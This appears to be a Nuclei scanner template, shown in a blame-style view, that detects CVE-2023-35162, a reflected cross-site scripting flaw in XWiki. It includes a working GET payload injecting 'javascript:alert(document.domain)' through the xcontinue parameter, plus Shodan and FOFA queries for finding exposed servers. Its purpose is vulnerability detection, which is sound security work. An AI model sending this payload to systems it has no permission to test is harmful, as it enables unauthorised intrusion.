2024-06-06 09:59:33 +00:00
|
|
|
id: CVE-2023-35162
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: XWiki < 14.10.5 - Cross-Site Scripting
|
|
|
|
author: ritikchaddha
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
|
|
|
|
impact: |
|
|
|
|
Successful exploitation could lead to unauthorized access or data theft.
|
|
|
|
remediation: |
|
|
|
|
Apply the latest patches provided by XWiki to mitigate the vulnerability.
|
|
|
|
reference:
|
|
|
|
- https://jira.xwiki.org/browse/XWIKI-20342
|
|
|
|
- https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-35162
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2023-35162
|
|
|
|
cwe-id: CWE-79
|
|
|
|
epss-score: 0.00127
|
|
|
|
epss-percentile: 0.46778
|
|
|
|
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
vendor: xwiki
|
|
|
|
product: xwiki
|
|
|
|
shodan-query: "XWiki"
|
|
|
|
fofa-query: body="data-xwiki-reference"
|
|
|
|
tags: cve,cve2023,xwiki,xss
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")'
|
2024-06-06 10:09:15 +00:00
|
|
|
- 'contains(body, "previewactions.vm")'
|
2024-06-06 09:59:33 +00:00
|
|
|
- 'contains(header, "text/html")'
|
|
|
|
- 'status_code == 200'
|
|
|
|
condition: and
|
2024-06-06 12:52:15 +00:00
|
|
|
# digest: 4a0a00473045022100c49efcd89e263ea211bc9119c0d6d1eefde0bac768f4f0ccd66179956dd375ca02204917b4bca2a8d825d234c1b1d8eceee9b76ea649133514614bfbde4411028efc:922c64590222798bb761d5b6d8e72950
|